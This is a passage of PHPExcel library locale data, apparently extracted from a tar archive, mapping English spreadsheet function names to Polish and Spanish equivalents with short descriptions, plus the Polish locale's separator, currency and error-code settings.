wartość logarytmu liczby zespolonej przy podstawie 2. IMPOWER = IMPOWER ## Zwraca wartość liczby zespolonej podniesionej do potęgi całkowitej. IMPRODUCT = IMPRODUCT ## Zwraca wartość iloczynu liczb zespolonych. IMREAL = IMREAL ## Zwraca wartość części rzeczywistej liczby zespolonej. IMSIN = IMSIN ## Zwraca wartość sinusa liczby zespolonej. IMSQRT = IMSQRT ## Zwraca wartość pierwiastka kwadratowego z liczby zespolonej. IMSUB = IMSUB ## Zwraca wartość różnicy dwóch liczb zespolonych. IMSUM = IMSUM ## Zwraca wartość sumy liczb zespolonych. OCT2BIN = OCT2BIN ## Konwertuje liczbę w postaci ósemkowej na liczbę w postaci dwójkowej. OCT2DEC = OCT2DEC ## Konwertuje liczbę w postaci ósemkowej na liczbę w postaci dziesiętnej. OCT2HEX = OCT2HEX ## Konwertuje liczbę w postaci ósemkowej na liczbę w postaci szesnastkowej. ## ## Financial functions Funkcje finansowe ## ACCRINT = ACCRINT ## Zwraca narosłe odsetki dla papieru wartościowego z oprocentowaniem okresowym. ACCRINTM = ACCRINTM ## Zwraca narosłe odsetki dla papieru wartościowego z oprocentowaniem w terminie wykupu. AMORDEGRC = AMORDEGRC ## Zwraca amortyzację dla każdego okresu rozliczeniowego z wykorzystaniem współczynnika amortyzacji. AMORLINC = AMORLINC ## Zwraca amortyzację dla każdego okresu rozliczeniowego. COUPDAYBS = COUPDAYBS ## Zwraca liczbę dni od początku okresu dywidendy do dnia rozliczeniowego. COUPDAYS = COUPDAYS ## Zwraca liczbę dni w okresie dywidendy, z uwzględnieniem dnia rozliczeniowego. COUPDAYSNC = COUPDAYSNC ## Zwraca liczbę dni od dnia rozliczeniowego do daty następnego dnia dywidendy. COUPNCD = COUPNCD ## Zwraca dzień następnej dywidendy po dniu rozliczeniowym. COUPNUM = COUPNUM ## Zwraca liczbę dywidend płatnych między dniem rozliczeniowym a dniem wykupu. COUPPCD = COUPPCD ## Zwraca dzień poprzedniej dywidendy przed dniem rozliczeniowym. CUMIPMT = CUMIPMT ## Zwraca wartość procentu składanego płatnego między dwoma okresami. CUMPRINC = CUMPRINC ## Zwraca wartość kapitału skumulowanego spłaty pożyczki między dwoma okresami. DB = DB ## Zwraca amortyzację środka trwałego w danym okresie metodą degresywną z zastosowaniem stałej bazowej. DDB = DDB ## Zwraca amortyzację środka trwałego za podany okres metodą degresywną z zastosowaniem podwójnej bazowej lub metodą określoną przez użytkownika. DISC = DISC ## Zwraca wartość stopy dyskontowej papieru wartościowego. DOLLARDE = DOLLARDE ## Konwertuje cenę w postaci ułamkowej na cenę wyrażoną w postaci dziesiętnej. DOLLARFR = DOLLARFR ## Konwertuje cenę wyrażoną w postaci dziesiętnej na cenę wyrażoną w postaci ułamkowej. DURATION = DURATION ## Zwraca wartość rocznego przychodu z papieru wartościowego o okresowych wypłatach oprocentowania. EFFECT = EFFECT ## Zwraca wartość efektywnej rocznej stopy procentowej. FV = FV ## Zwraca przyszłą wartość lokaty. FVSCHEDULE = FVSCHEDULE ## Zwraca przyszłą wartość kapitału początkowego wraz z szeregiem procentów składanych. INTRATE = INTRATE ## Zwraca wartość stopy procentowej papieru wartościowego całkowicie ulokowanego. IPMT = IPMT ## Zwraca wysokość spłaty oprocentowania lokaty za dany okres. IRR = IRR ## Zwraca wartość wewnętrznej stopy zwrotu dla serii przepływów gotówkowych. ISPMT = ISPMT ## Oblicza wysokość spłaty oprocentowania za dany okres lokaty. MDURATION = MDURATION ## Zwraca wartość zmodyfikowanego okresu Macauleya dla papieru wartościowego o założonej wartości nominalnej 100 zł. MIRR = MIRR ## Zwraca wartość wewnętrznej stopy zwrotu dla przypadku, gdy dodatnie i ujemne przepływy gotówkowe mają różne stopy. NOMINAL = NOMINAL ## Zwraca wysokość nominalnej rocznej stopy procentowej. NPER = NPER ## Zwraca liczbę okresów dla lokaty. NPV = NPV ## Zwraca wartość bieżącą netto lokaty na podstawie szeregu okresowych przepływów gotówkowych i stopy dyskontowej. ODDFPRICE = ODDFPRICE ## Zwraca cenę za 100 zł wartości nominalnej papieru wartościowego z nietypowym pierwszym okresem. ODDFYIELD = ODDFYIELD ## Zwraca rentowność papieru wartościowego z nietypowym pierwszym okresem. ODDLPRICE = ODDLPRICE ## Zwraca cenę za 100 zł wartości nominalnej papieru wartościowego z nietypowym ostatnim okresem. ODDLYIELD = ODDLYIELD ## Zwraca rentowność papieru wartościowego z nietypowym ostatnim okresem. PMT = PMT ## Zwraca wartość okresowej płatności raty rocznej. PPMT = PPMT ## Zwraca wysokość spłaty kapitału w przypadku lokaty dla danego okresu. PRICE = PRICE ## Zwraca cenę za 100 zł wartości nominalnej papieru wartościowego z oprocentowaniem okresowym. PRICEDISC = PRICEDISC ## Zwraca cenę za 100 zł wartości nominalnej papieru wartościowego zdyskontowanego. PRICEMAT = PRICEMAT ## Zwraca cenę za 100 zł wartości nominalnej papieru wartościowego z oprocentowaniem w terminie wykupu. PV = PV ## Zwraca wartość bieżącą lokaty. RATE = RATE ## Zwraca wysokość stopy procentowej w okresie raty rocznej. RECEIVED = RECEIVED ## Zwraca wartość kapitału otrzymanego przy wykupie papieru wartościowego całkowicie ulokowanego. SLN = SLN ## Zwraca amortyzację środka trwałego za jeden okres metodą liniową. SYD = SYD ## Zwraca amortyzację środka trwałego za dany okres metodą sumy cyfr lat amortyzacji. TBILLEQ = TBILLEQ ## Zwraca rentowność ekwiwalentu obligacji dla bonu skarbowego. TBILLPRICE = TBILLPRICE ## Zwraca cenę za 100 zł wartości nominalnej bonu skarbowego. TBILLYIELD = TBILLYIELD ## Zwraca rentowność bonu skarbowego. VDB = VDB ## Oblicza amortyzację środka trwałego w danym okresie lub jego części metodą degresywną. XIRR = XIRR ## Zwraca wartość wewnętrznej stopy zwrotu dla serii rozłożonych w czasie przepływów gotówkowych, niekoniecznie okresowych. XNPV = XNPV ## Zwraca wartość bieżącą netto dla serii rozłożonych w czasie przepływów gotówkowych, niekoniecznie okresowych. YIELD = YIELD ## Zwraca rentowność papieru wartościowego z oprocentowaniem okresowym. YIELDDISC = YIELDDISC ## Zwraca roczną rentowność zdyskontowanego papieru wartościowego, na przykład bonu skarbowego. YIELDMAT = YIELDMAT ## Zwraca roczną rentowność papieru wartościowego oprocentowanego przy wykupie. ## ## Information functions Funkcje informacyjne ## CELL = KOMÓRKA ## Zwraca informacje o formacie, położeniu lub zawartości komórki. ERROR.TYPE = NR.BŁĘDU ## Zwraca liczbę odpowiadającą typowi błędu. INFO = INFO ## Zwraca informację o aktualnym środowisku pracy. ISBLANK = CZY.PUSTA ## Zwraca wartość PRAWDA, jeśli wartość jest pusta. ISERR = CZY.BŁ ## Zwraca wartość PRAWDA, jeśli wartość jest dowolną wartością błędu, z wyjątkiem #N/D!. ISERROR = CZY.BŁĄD ## Zwraca wartość PRAWDA, jeśli wartość jest dowolną wartością błędu. ISEVEN = ISEVEN ## Zwraca wartość PRAWDA, jeśli liczba jest parzysta. ISLOGICAL = CZY.LOGICZNA ## Zwraca wartość PRAWDA, jeśli wartość jest wartością logiczną. ISNA = CZY.BRAK ## Zwraca wartość PRAWDA, jeśli wartość jest wartością błędu #N/D!. ISNONTEXT = CZY.NIE.TEKST ## Zwraca wartość PRAWDA, jeśli wartość nie jest tekstem. ISNUMBER = CZY.LICZBA ## Zwraca wartość PRAWDA, jeśli wartość jest liczbą. ISODD = ISODD ## Zwraca wartość PRAWDA, jeśli liczba jest nieparzysta. ISREF = CZY.ADR ## Zwraca wartość PRAWDA, jeśli wartość jest odwołaniem. ISTEXT = CZY.TEKST ## Zwraca wartość PRAWDA, jeśli wartość jest tekstem. N = L ## Zwraca wartość przekonwertowaną na postać liczbową. NA = BRAK ## Zwraca wartość błędu #N/D!. TYPE = TYP ## Zwraca liczbę wskazującą typ danych wartości. ## ## Logical functions Funkcje logiczne ## AND = ORAZ ## Zwraca wartość PRAWDA, jeśli wszystkie argumenty mają wartość PRAWDA. FALSE = FAŁSZ ## Zwraca wartość logiczną FAŁSZ. IF = JEŻELI ## Określa warunek logiczny do sprawdzenia. IFERROR = JEŻELI.BŁĄD ## Zwraca określoną wartość, jeśli wynikiem obliczenia formuły jest błąd; w przeciwnym przypadku zwraca wynik formuły. NOT = NIE ## Odwraca wartość logiczną argumentu. OR = LUB ## Zwraca wartość PRAWDA, jeśli co najmniej jeden z argumentów ma wartość PRAWDA. TRUE = PRAWDA ## Zwraca wartość logiczną PRAWDA. ## ## Lookup and reference functions Funkcje wyszukiwania i odwołań ## ADDRESS = ADRES ## Zwraca odwołanie do jednej komórki w arkuszu jako wartość tekstową. AREAS = OBSZARY ## Zwraca liczbę obszarów występujących w odwołaniu. CHOOSE = WYBIERZ ## Wybiera wartość z listy wartości. COLUMN = NR.KOLUMNY ## Zwraca numer kolumny z odwołania. COLUMNS = LICZBA.KOLUMN ## Zwraca liczbę kolumn dla danego odwołania. HLOOKUP = WYSZUKAJ.POZIOMO ## Przegląda górny wiersz tablicy i zwraca wartość wskazanej komórki. HYPERLINK = HIPERŁĄCZE ## Tworzy skrót lub skok, który pozwala otwierać dokument przechowywany na serwerze sieciowym, w sieci intranet lub w Internecie. INDEX = INDEKS ## Używa indeksu do wybierania wartości z odwołania lub tablicy. INDIRECT = ADR.POŚR ## Zwraca odwołanie określone przez wartość tekstową. LOOKUP = WYSZUKAJ ## Wyszukuje wartości w wektorze lub tablicy. MATCH = PODAJ.POZYCJĘ ## Wyszukuje wartości w odwołaniu lub w tablicy. OFFSET = PRZESUNIĘCIE ## Zwraca adres przesunięty od danego odwołania. ROW = WIERSZ ## Zwraca numer wiersza odwołania. ROWS = ILE.WIERSZY ## Zwraca liczbę wierszy dla danego odwołania. RTD = RTD ## Pobiera dane w czasie rzeczywistym z programu obsługującego automatyzację COM (Automatyzacja: Sposób pracy z obiektami aplikacji pochodzącymi z innej aplikacji lub narzędzia projektowania. Nazywana wcześniej Automatyzacją OLE, Automatyzacja jest standardem przemysłowym i funkcją obiektowego modelu składników (COM, Component Object Model).). TRANSPOSE = TRANSPONUJ ## Zwraca transponowaną tablicę. VLOOKUP = WYSZUKAJ.PIONOWO ## Przeszukuje pierwszą kolumnę tablicy i przechodzi wzdłuż wiersza, aby zwrócić wartość komórki. ## ## Math and trigonometry functions Funkcje matematyczne i trygonometryczne ## ABS = MODUŁ.LICZBY ## Zwraca wartość absolutną liczby. ACOS = ACOS ## Zwraca arcus cosinus liczby. ACOSH = ACOSH ## Zwraca arcus cosinus hiperboliczny liczby. ASIN = ASIN ## Zwraca arcus sinus liczby. ASINH = ASINH ## Zwraca arcus sinus hiperboliczny liczby. ATAN = ATAN ## Zwraca arcus tangens liczby. ATAN2 = ATAN2 ## Zwraca arcus tangens liczby na podstawie współrzędnych x i y. ATANH = ATANH ## Zwraca arcus tangens hiperboliczny liczby. CEILING = ZAOKR.W.GÓRĘ ## Zaokrągla liczbę do najbliższej liczby całkowitej lub do najbliższej wielokrotności dokładności. COMBIN = KOMBINACJE ## Zwraca liczbę kombinacji dla danej liczby obiektów. COS = COS ## Zwraca cosinus liczby. COSH = COSH ## Zwraca cosinus hiperboliczny liczby. DEGREES = STOPNIE ## Konwertuje radiany na stopnie. EVEN = ZAOKR.DO.PARZ ## Zaokrągla liczbę w górę do najbliższej liczby parzystej. EXP = EXP ## Zwraca wartość liczby e podniesionej do potęgi określonej przez podaną liczbę. FACT = SILNIA ## Zwraca silnię liczby. FACTDOUBLE = FACTDOUBLE ## Zwraca podwójną silnię liczby. FLOOR = ZAOKR.W.DÓŁ ## Zaokrągla liczbę w dół, w kierunku zera. GCD = GCD ## Zwraca największy wspólny dzielnik. INT = ZAOKR.DO.CAŁK ## Zaokrągla liczbę w dół do najbliższej liczby całkowitej. LCM = LCM ## Zwraca najmniejszą wspólną wielokrotność. LN = LN ## Zwraca logarytm naturalny podanej liczby. LOG = LOG ## Zwraca logarytm danej liczby przy zadanej podstawie. LOG10 = LOG10 ## Zwraca logarytm dziesiętny liczby. MDETERM = WYZNACZNIK.MACIERZY ## Zwraca wyznacznik macierzy tablicy. MINVERSE = MACIERZ.ODW ## Zwraca odwrotność macierzy tablicy. MMULT = MACIERZ.ILOCZYN ## Zwraca iloczyn macierzy dwóch tablic. MOD = MOD ## Zwraca resztę z dzielenia. MROUND = MROUND ## Zwraca liczbę zaokrągloną do żądanej wielokrotności. MULTINOMIAL = MULTINOMIAL ## Zwraca wielomian dla zbioru liczb. ODD = ZAOKR.DO.NPARZ ## Zaokrągla liczbę w górę do najbliższej liczby nieparzystej. PI = PI ## Zwraca wartość liczby Pi. POWER = POTĘGA ## Zwraca liczbę podniesioną do potęgi. PRODUCT = ILOCZYN ## Mnoży argumenty. QUOTIENT = QUOTIENT ## Zwraca iloraz (całkowity). RADIANS = RADIANY ## Konwertuje stopnie na radiany. RAND = LOS ## Zwraca liczbę pseudolosową z zakresu od 0 do 1. RANDBETWEEN = RANDBETWEEN ## Zwraca liczbę pseudolosową z zakresu określonego przez podane argumenty. ROMAN = RZYMSKIE ## Konwertuje liczbę arabską na rzymską jako tekst. ROUND = ZAOKR ## Zaokrągla liczbę do określonej liczby cyfr. ROUNDDOWN = ZAOKR.DÓŁ ## Zaokrągla liczbę w dół, w kierunku zera. ROUNDUP = ZAOKR.GÓRA ## Zaokrągla liczbę w górę, w kierunku od zera. SERIESSUM = SERIESSUM ## Zwraca sumę szeregu potęgowego na podstawie wzoru. SIGN = ZNAK.LICZBY ## Zwraca znak liczby. SIN = SIN ## Zwraca sinus danego kąta. SINH = SINH ## Zwraca sinus hiperboliczny liczby. SQRT = PIERWIASTEK ## Zwraca dodatni pierwiastek kwadratowy. SQRTPI = SQRTPI ## Zwraca pierwiastek kwadratowy iloczynu (liczba * Pi). SUBTOTAL = SUMY.POŚREDNIE ## Zwraca sumę częściową listy lub bazy danych. SUM = SUMA ## Dodaje argumenty. SUMIF = SUMA.JEŻELI ## Dodaje komórki określone przez podane kryterium. SUMIFS = SUMA.WARUNKÓW ## Dodaje komórki w zakresie, które spełniają wiele kryteriów. SUMPRODUCT = SUMA.ILOCZYNÓW ## Zwraca sumę iloczynów odpowiednich elementów tablicy. SUMSQ = SUMA.KWADRATÓW ## Zwraca sumę kwadratów argumentów. SUMX2MY2 = SUMA.X2.M.Y2 ## Zwraca sumę różnic kwadratów odpowiednich wartości w dwóch tablicach. SUMX2PY2 = SUMA.X2.P.Y2 ## Zwraca sumę sum kwadratów odpowiednich wartości w dwóch tablicach. SUMXMY2 = SUMA.XMY.2 ## Zwraca sumę kwadratów różnic odpowiednich wartości w dwóch tablicach. TAN = TAN ## Zwraca tangens liczby. TANH = TANH ## Zwraca tangens hiperboliczny liczby. TRUNC = LICZBA.CAŁK ## Przycina liczbę do wartości całkowitej. ## ## Statistical functions Funkcje statystyczne ## AVEDEV = ODCH.ŚREDNIE ## Zwraca średnią wartość odchyleń absolutnych punktów danych od ich wartości średniej. AVERAGE = ŚREDNIA ## Zwraca wartość średnią argumentów. AVERAGEA = ŚREDNIA.A ## Zwraca wartość średnią argumentów, z uwzględnieniem liczb, tekstów i wartości logicznych. AVERAGEIF = ŚREDNIA.JEŻELI ## Zwraca średnią (średnią arytmetyczną) wszystkich komórek w zakresie, które spełniają podane kryteria. AVERAGEIFS = ŚREDNIA.WARUNKÓW ## Zwraca średnią (średnią arytmetyczną) wszystkich komórek, które spełniają jedno lub więcej kryteriów. BETADIST = ROZKŁAD.BETA ## Zwraca skumulowaną funkcję gęstości prawdopodobieństwa beta. BETAINV = ROZKŁAD.BETA.ODW ## Zwraca odwrotność skumulowanej funkcji gęstości prawdopodobieństwa beta. BINOMDIST = ROZKŁAD.DWUM ## Zwraca pojedynczy składnik dwumianowego rozkładu prawdopodobieństwa. CHIDIST = ROZKŁAD.CHI ## Zwraca wartość jednostronnego prawdopodobieństwa rozkładu chi-kwadrat. CHIINV = ROZKŁAD.CHI.ODW ## Zwraca odwrotność wartości jednostronnego prawdopodobieństwa rozkładu chi-kwadrat. CHITEST = TEST.CHI ## Zwraca test niezależności. CONFIDENCE = UFNOŚĆ ## Zwraca interwał ufności dla średniej populacji. CORREL = WSP.KORELACJI ## Zwraca współczynnik korelacji dwóch zbiorów danych. COUNT = ILE.LICZB ## Zlicza liczby znajdujące się na liście argumentów. COUNTA = ILE.NIEPUSTYCH ## Zlicza wartości znajdujące się na liście argumentów. COUNTBLANK = LICZ.PUSTE ## Zwraca liczbę pustych komórek w pewnym zakresie. COUNTIF = LICZ.JEŻELI ## Zlicza komórki wewnątrz zakresu, które spełniają podane kryteria. COUNTIFS = LICZ.WARUNKI ## Zlicza komórki wewnątrz zakresu, które spełniają wiele kryteriów. COVAR = KOWARIANCJA ## Zwraca kowariancję, czyli średnią wartość iloczynów odpowiednich odchyleń. CRITBINOM = PRÓG.ROZKŁAD.DWUM ## Zwraca najmniejszą wartość, dla której skumulowany rozkład dwumianowy jest mniejszy niż wartość kryterium lub równy jej. DEVSQ = ODCH.KWADRATOWE ## Zwraca sumę kwadratów odchyleń. EXPONDIST = ROZKŁAD.EXP ## Zwraca rozkład wykładniczy. FDIST = ROZKŁAD.F ## Zwraca rozkład prawdopodobieństwa F. FINV = ROZKŁAD.F.ODW ## Zwraca odwrotność rozkładu prawdopodobieństwa F. FISHER = ROZKŁAD.FISHER ## Zwraca transformację Fishera. FISHERINV = ROZKŁAD.FISHER.ODW ## Zwraca odwrotność transformacji Fishera. FORECAST = REGLINX ## Zwraca wartość trendu liniowego. FREQUENCY = CZĘSTOŚĆ ## Zwraca rozkład częstotliwości jako tablicę pionową. FTEST = TEST.F ## Zwraca wynik testu F. GAMMADIST = ROZKŁAD.GAMMA ## Zwraca rozkład gamma. GAMMAINV = ROZKŁAD.GAMMA.ODW ## Zwraca odwrotność skumulowanego rozkładu gamma. GAMMALN = ROZKŁAD.LIN.GAMMA ## Zwraca logarytm naturalny funkcji gamma, Γ(x). GEOMEAN = ŚREDNIA.GEOMETRYCZNA ## Zwraca średnią geometryczną. GROWTH = REGEXPW ## Zwraca wartości trendu wykładniczego. HARMEAN = ŚREDNIA.HARMONICZNA ## Zwraca średnią harmoniczną. HYPGEOMDIST = ROZKŁAD.HIPERGEOM ## Zwraca rozkład hipergeometryczny. INTERCEPT = ODCIĘTA ## Zwraca punkt przecięcia osi pionowej z linią regresji liniowej. KURT = KURTOZA ## Zwraca kurtozę zbioru danych. LARGE = MAX.K ## Zwraca k-tą największą wartość ze zbioru danych. LINEST = REGLINP ## Zwraca parametry trendu liniowego. LOGEST = REGEXPP ## Zwraca parametry trendu wykładniczego. LOGINV = ROZKŁAD.LOG.ODW ## Zwraca odwrotność rozkładu logarytmu naturalnego. LOGNORMDIST = ROZKŁAD.LOG ## Zwraca skumulowany rozkład logarytmu naturalnego. MAX = MAX ## Zwraca maksymalną wartość listy argumentów. MAXA = MAX.A ## Zwraca maksymalną wartość listy argumentów, z uwzględnieniem liczb, tekstów i wartości logicznych. MEDIAN = MEDIANA ## Zwraca medianę podanych liczb. MIN = MIN ## Zwraca minimalną wartość listy argumentów. MINA = MIN.A ## Zwraca najmniejszą wartość listy argumentów, z uwzględnieniem liczb, tekstów i wartości logicznych. MODE = WYST.NAJCZĘŚCIEJ ## Zwraca wartość najczęściej występującą w zbiorze danych. NEGBINOMDIST = ROZKŁAD.DWUM.PRZEC ## Zwraca ujemny rozkład dwumianowy. NORMDIST = ROZKŁAD.NORMALNY ## Zwraca rozkład normalny skumulowany. NORMINV = ROZKŁAD.NORMALNY.ODW ## Zwraca odwrotność rozkładu normalnego skumulowanego. NORMSDIST = ROZKŁAD.NORMALNY.S ## Zwraca standardowy rozkład normalny skumulowany. NORMSINV = ROZKŁAD.NORMALNY.S.ODW ## Zwraca odwrotność standardowego rozkładu normalnego skumulowanego. PEARSON = PEARSON ## Zwraca współczynnik korelacji momentu iloczynu Pearsona. PERCENTILE = PERCENTYL ## Wyznacza k-ty percentyl wartości w zakresie. PERCENTRANK = PROCENT.POZYCJA ## Zwraca procentową pozycję wartości w zbiorze danych. PERMUT = PERMUTACJE ## Zwraca liczbę permutacji dla danej liczby obiektów. POISSON = ROZKŁAD.POISSON ## Zwraca rozkład Poissona. PROB = PRAWDPD ## Zwraca prawdopodobieństwo, że wartości w zakresie leżą pomiędzy dwiema granicami. QUARTILE = KWARTYL ## Wyznacza kwartyl zbioru danych. RANK = POZYCJA ## Zwraca pozycję liczby na liście liczb. RSQ = R.KWADRAT ## Zwraca kwadrat współczynnika korelacji momentu iloczynu Pearsona. SKEW = SKOŚNOŚĆ ## Zwraca skośność rozkładu. SLOPE = NACHYLENIE ## Zwraca nachylenie linii regresji liniowej. SMALL = MIN.K ## Zwraca k-tą najmniejszą wartość ze zbioru danych. STANDARDIZE = NORMALIZUJ ## Zwraca wartość znormalizowaną. STDEV = ODCH.STANDARDOWE ## Szacuje odchylenie standardowe na podstawie próbki. STDEVA = ODCH.STANDARDOWE.A ## Szacuje odchylenie standardowe na podstawie próbki, z uwzględnieniem liczb, tekstów i wartości logicznych. STDEVP = ODCH.STANDARD.POPUL ## Oblicza odchylenie standardowe na podstawie całej populacji. STDEVPA = ODCH.STANDARD.POPUL.A ## Oblicza odchylenie standardowe na podstawie całej populacji, z uwzględnieniem liczb, teksów i wartości logicznych. STEYX = REGBŁSTD ## Zwraca błąd standardowy przewidzianej wartości y dla każdej wartości x w regresji. TDIST = ROZKŁAD.T ## Zwraca rozkład t-Studenta. TINV = ROZKŁAD.T.ODW ## Zwraca odwrotność rozkładu t-Studenta. TREND = REGLINW ## Zwraca wartości trendu liniowego. TRIMMEAN = ŚREDNIA.WEWN ## Zwraca średnią wartość dla wnętrza zbioru danych. TTEST = TEST.T ## Zwraca prawdopodobieństwo związane z testem t-Studenta. VAR = WARIANCJA ## Szacuje wariancję na podstawie próbki. VARA = WARIANCJA.A ## Szacuje wariancję na podstawie próbki, z uwzględnieniem liczb, tekstów i wartości logicznych. VARP = WARIANCJA.POPUL ## Oblicza wariancję na podstawie całej populacji. VARPA = WARIANCJA.POPUL.A ## Oblicza wariancję na podstawie całej populacji, z uwzględnieniem liczb, tekstów i wartości logicznych. WEIBULL = ROZKŁAD.WEIBULL ## Zwraca rozkład Weibulla. ZTEST = TEST.Z ## Zwraca wartość jednostronnego prawdopodobieństwa testu z. ## ## Text functions Funkcje tekstowe ## ASC = ASC ## Zamienia litery angielskie lub katakana o pełnej szerokości (dwubajtowe) w ciągu znaków na znaki o szerokości połówkowej (jednobajtowe). BAHTTEXT = BAHTTEXT ## Konwertuje liczbę na tekst, stosując format walutowy ß (baht). CHAR = ZNAK ## Zwraca znak o podanym numerze kodu. CLEAN = OCZYŚĆ ## Usuwa z tekstu wszystkie znaki, które nie mogą być drukowane. CODE = KOD ## Zwraca kod numeryczny pierwszego znaku w ciągu tekstowym. CONCATENATE = ZŁĄCZ.TEKSTY ## Łączy kilka oddzielnych tekstów w jeden tekst. DOLLAR = KWOTA ## Konwertuje liczbę na tekst, stosując format walutowy $ (dolar). EXACT = PORÓWNAJ ## Sprawdza identyczność dwóch wartości tekstowych. FIND = ZNAJDŹ ## Znajduje jedną wartość tekstową wewnątrz innej (z uwzględnieniem wielkich i małych liter). FINDB = ZNAJDŹB ## Znajduje jedną wartość tekstową wewnątrz innej (z uwzględnieniem wielkich i małych liter). FIXED = ZAOKR.DO.TEKST ## Formatuje liczbę jako tekst przy stałej liczbie miejsc dziesiętnych. JIS = JIS ## Zmienia litery angielskie lub katakana o szerokości połówkowej (jednobajtowe) w ciągu znaków na znaki o pełnej szerokości (dwubajtowe). LEFT = LEWY ## Zwraca skrajne lewe znaki z wartości tekstowej. LEFTB = LEWYB ## Zwraca skrajne lewe znaki z wartości tekstowej. LEN = DŁ ## Zwraca liczbę znaków ciągu tekstowego. LENB = DŁ.B ## Zwraca liczbę znaków ciągu tekstowego. LOWER = LITERY.MAŁE ## Konwertuje wielkie litery tekstu na małe litery. MID = FRAGMENT.TEKSTU ## Zwraca określoną liczbę znaków z ciągu tekstowego, zaczynając od zadanej pozycji. MIDB = FRAGMENT.TEKSTU.B ## Zwraca określoną liczbę znaków z ciągu tekstowego, zaczynając od zadanej pozycji. PHONETIC = PHONETIC ## Wybiera znaki fonetyczne (furigana) z ciągu tekstowego. PROPER = Z.WIELKIEJ.LITERY ## Zastępuje pierwszą literę każdego wyrazu tekstu wielką literą. REPLACE = ZASTĄP ## Zastępuje znaki w tekście. REPLACEB = ZASTĄP.B ## Zastępuje znaki w tekście. REPT = POWT ## Powiela tekst daną liczbę razy. RIGHT = PRAWY ## Zwraca skrajne prawe znaki z wartości tekstowej. RIGHTB = PRAWYB ## Zwraca skrajne prawe znaki z wartości tekstowej. SEARCH = SZUKAJ.TEKST ## Wyszukuje jedną wartość tekstową wewnątrz innej (bez uwzględniania wielkości liter). SEARCHB = SZUKAJ.TEKST.B ## Wyszukuje jedną wartość tekstową wewnątrz innej (bez uwzględniania wielkości liter). SUBSTITUTE = PODSTAW ## Podstawia nowy tekst w miejsce poprzedniego tekstu w ciągu tekstowym. T = T ## Konwertuje argumenty na tekst. TEXT = TEKST ## Formatuje liczbę i konwertuje ją na tekst. TRIM = USUŃ.ZBĘDNE.ODSTĘPY ## Usuwa spacje z tekstu. UPPER = LITERY.WIELKIE ## Konwertuje znaki tekstu na wielkie litery. VALUE = WARTOŚĆ ## Konwertuje argument tekstowy na liczbę. PHPExcel/locale/pl/config 0000644 00000002460 14642534110 0011220 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = zł ## ## Excel Error Codes (For future use) ## NULL = #ZERO! DIV0 = #DZIEL/0! VALUE = #ARG! REF = #ADR! NAME = #NAZWA? NUM = #LICZBA! NA = #N/D! PHPExcel/locale/es/functions 0000644 00000105507 14642534110 0011765 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Funciones de complementos y automatización ## GETPIVOTDATA = IMPORTARDATOSDINAMICOS ## Devuelve los datos almacenados en un informe de tabla dinámica. ## ## Cube functions Funciones de cubo ## CUBEKPIMEMBER = MIEMBROKPICUBO ## Devuelve un nombre, propiedad y medida de indicador de rendimiento clave (KPI) y muestra el nombre y la propiedad en la celda. Un KPI es una medida cuantificable, como los beneficios brutos mensuales o la facturación trimestral por empleado, que se usa para supervisar el rendimiento de una organización. CUBEMEMBER = MIEMBROCUBO ## Devuelve un miembro o tupla en una jerarquía de cubo. Se usa para validar la existencia del miembro o la tupla en el cubo. CUBEMEMBERPROPERTY = PROPIEDADMIEMBROCUBO ## Devuelve el valor de una propiedad de miembro del cubo Se usa para validar la existencia de un nombre de miembro en el cubo y para devolver la propiedad especificada para este miembro. CUBERANKEDMEMBER = MIEMBRORANGOCUBO ## Devuelve el miembro n, o clasificado, de un conjunto. Se usa para devolver uno o más elementos de un conjunto, por ejemplo, el representante con mejores ventas o los diez mejores alumnos. CUBESET = CONJUNTOCUBO ## Define un conjunto calculado de miembros o tuplas mediante el envío de una expresión de conjunto al cubo en el servidor, lo que crea el conjunto y, después, devuelve dicho conjunto a Microsoft Office Excel. CUBESETCOUNT = RECUENTOCONJUNTOCUBO ## Devuelve el número de elementos de un conjunto. CUBEVALUE = VALORCUBO ## Devuelve un valor agregado de un cubo. ## ## Database functions Funciones de base de datos ## DAVERAGE = BDPROMEDIO ## Devuelve el promedio de las entradas seleccionadas en la base de datos. DCOUNT = BDCONTAR ## Cuenta el número de celdas que contienen números en una base de datos. DCOUNTA = BDCONTARA ## Cuenta el número de celdas no vacías en una base de datos. DGET = BDEXTRAER ## Extrae de una base de datos un único registro que cumple los criterios especificados. DMAX = BDMAX ## Devuelve el valor máximo de las entradas seleccionadas de la base de datos. DMIN = BDMIN ## Devuelve el valor mínimo de las entradas seleccionadas de la base de datos. DPRODUCT = BDPRODUCTO ## Multiplica los valores de un campo concreto de registros de una base de datos que cumplen los criterios especificados. DSTDEV = BDDESVEST ## Calcula la desviación estándar a partir de una muestra de entradas seleccionadas en la base de datos. 